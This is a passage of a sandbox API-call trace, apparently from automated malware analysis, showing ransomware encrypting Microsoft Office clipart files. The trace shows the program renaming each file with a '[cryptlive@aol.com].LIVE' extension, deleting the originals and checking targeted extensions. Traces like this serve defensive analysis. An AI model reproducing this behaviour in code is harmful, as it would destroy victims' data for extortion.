returned 1 [0159.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0159.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.929] GetLastError () returned 0x0 [0159.929] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2c54, lpOverlapped=0x0) returned 1 [0160.035] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2c60, lpOverlapped=0x0) returned 1 [0160.086] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.087] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.087] SetEndOfFile (hFile=0x3c4) returned 1 [0160.413] CloseHandle (hObject=0x3c4) returned 1 [0160.413] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.413] SetEndOfFile (hFile=0x384) returned 1 [0160.415] CloseHandle (hObject=0x384) returned 1 [0160.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0160.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.515] lstrlenW (lpString=".doc") returned 4 [0160.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.515] lstrlenW (lpString=".docx") returned 5 [0160.515] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.515] lstrlenW (lpString=".pdf") returned 4 [0160.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.515] lstrlenW (lpString=".xls") returned 4 [0160.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.516] lstrlenW (lpString=".xlsx") returned 5 [0160.516] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.516] lstrlenW (lpString=".ppt") returned 4 [0160.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString=".zip") returned 4 [0160.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.516] lstrlenW (lpString=".rar") returned 4 [0160.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString=".bz2") returned 4 [0160.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString=".7z") returned 3 [0160.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString=".dbf") returned 4 [0160.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString=".1cd") returned 4 [0160.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString=".jpg") returned 4 [0160.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.516] lstrlenW (lpString=".doc") returned 4 [0160.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString=".docx") returned 5 [0160.516] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.516] lstrlenW (lpString=".pdf") returned 4 [0160.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.516] lstrlenW (lpString=".xls") returned 4 [0160.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.516] lstrlenW (lpString=".xlsx") returned 5 [0160.516] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.516] lstrlenW (lpString=".ppt") returned 4 [0160.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.517] lstrlenW (lpString=".zip") returned 4 [0160.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.517] lstrlenW (lpString=".rar") returned 4 [0160.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.517] lstrlenW (lpString=".bz2") returned 4 [0160.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.517] lstrlenW (lpString=".7z") returned 3 [0160.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.517] lstrlenW (lpString=".dbf") returned 4 [0160.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.517] lstrlenW (lpString=".1cd") returned 4 [0160.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned 63 [0160.517] lstrlenW (lpString=".jpg") returned 4 [0160.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.517] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.517] lstrlenW (lpString="J0153089.WMF") returned 12 [0160.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.522] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7848) returned 1 [0160.522] CloseHandle (hObject=0x314) returned 1 [0160.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0160.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.522] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.522] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.807] GetLastError () returned 0x0 [0160.807] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1ea8, lpOverlapped=0x0) returned 1 [0160.813] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1eb0, lpOverlapped=0x0) returned 1 [0160.815] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.815] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.815] SetEndOfFile (hFile=0x3c4) returned 1 [0160.815] CloseHandle (hObject=0x3c4) returned 1 [0160.815] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.815] SetEndOfFile (hFile=0x314) returned 1 [0160.818] CloseHandle (hObject=0x314) returned 1 [0160.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0160.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".doc") returned 4 [0160.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString=".docx") returned 5 [0160.838] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.838] lstrlenW (lpString=".pdf") returned 4 [0160.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString=".xls") returned 4 [0160.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.838] lstrlenW (lpString=".xlsx") returned 5 [0160.838] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.838] lstrlenW (lpString=".ppt") returned 4 [0160.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".zip") returned 4 [0160.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.838] lstrlenW (lpString=".rar") returned 4 [0160.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString=".bz2") returned 4 [0160.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString=".7z") returned 3 [0160.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".dbf") returned 4 [0160.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".1cd") returned 4 [0160.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".jpg") returned 4 [0160.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.838] lstrlenW (lpString=".doc") returned 4 [0160.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString=".docx") returned 5 [0160.839] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.839] lstrlenW (lpString=".pdf") returned 4 [0160.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString=".xls") returned 4 [0160.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.839] lstrlenW (lpString=".xlsx") returned 5 [0160.839] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.839] lstrlenW (lpString=".ppt") returned 4 [0160.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.839] lstrlenW (lpString=".zip") returned 4 [0160.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.839] lstrlenW (lpString=".rar") returned 4 [0160.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString=".bz2") returned 4 [0160.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString=".7z") returned 3 [0160.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.839] lstrlenW (lpString=".dbf") returned 4 [0160.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.839] lstrlenW (lpString=".1cd") returned 4 [0160.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned 63 [0160.839] lstrlenW (lpString=".jpg") returned 4 [0160.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.839] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.839] lstrlenW (lpString="J0153095.WMF") returned 12 [0160.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.848] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3704) returned 1 [0160.848] CloseHandle (hObject=0x384) returned 1 [0160.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0160.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0161.137] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.137] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.213] GetLastError () returned 0x0 [0161.213] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe78, lpOverlapped=0x0) returned 1 [0161.340] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0161.342] ReadFile (in: hFile=0x1b8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.342] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.342] SetEndOfFile (hFile=0x314) returned 1 [0161.342] CloseHandle (hObject=0x314) returned 1 [0161.342] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.342] SetEndOfFile (hFile=0x1b8) returned 1 [0161.345] CloseHandle (hObject=0x1b8) returned 1 [0161.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0161.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.473] lstrlenW (lpString=".doc") returned 4 [0161.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.473] lstrlenW (lpString=".docx") returned 5 [0161.473] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.473] lstrlenW (lpString=".pdf") returned 4 [0161.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.473] lstrlenW (lpString=".xls") returned 4 [0161.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.473] lstrlenW (lpString=".xlsx") returned 5 [0161.473] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.473] lstrlenW (lpString=".ppt") returned 4 [0161.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.473] lstrlenW (lpString=".zip") returned 4 [0161.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.473] lstrlenW (lpString=".rar") returned 4 [0161.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.473] lstrlenW (lpString=".bz2") returned 4 [0161.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.473] lstrlenW (lpString=".7z") returned 3 [0161.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.473] lstrlenW (lpString=".dbf") returned 4 [0161.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString=".1cd") returned 4 [0161.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString=".jpg") returned 4 [0161.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString=".doc") returned 4 [0161.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString=".docx") returned 5 [0161.474] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0161.474] lstrlenW (lpString=".pdf") returned 4 [0161.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString=".xls") returned 4 [0161.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.474] lstrlenW (lpString=".xlsx") returned 5 [0161.474] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0161.474] lstrlenW (lpString=".ppt") returned 4 [0161.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString=".zip") returned 4 [0161.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.474] lstrlenW (lpString=".rar") returned 4 [0161.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString=".bz2") returned 4 [0161.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.474] lstrlenW (lpString=".7z") returned 3 [0161.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.474] lstrlenW (lpString=".dbf") returned 4 [0161.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.475] lstrlenW (lpString=".1cd") returned 4 [0161.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0161.475] lstrlenW (lpString=".jpg") returned 4 [0161.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.475] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.475] lstrlenW (lpString="J0157167.WMF") returned 12 [0161.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0161.528] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=46702) returned 1 [0161.528] CloseHandle (hObject=0x38c) returned 1 [0161.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0161.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 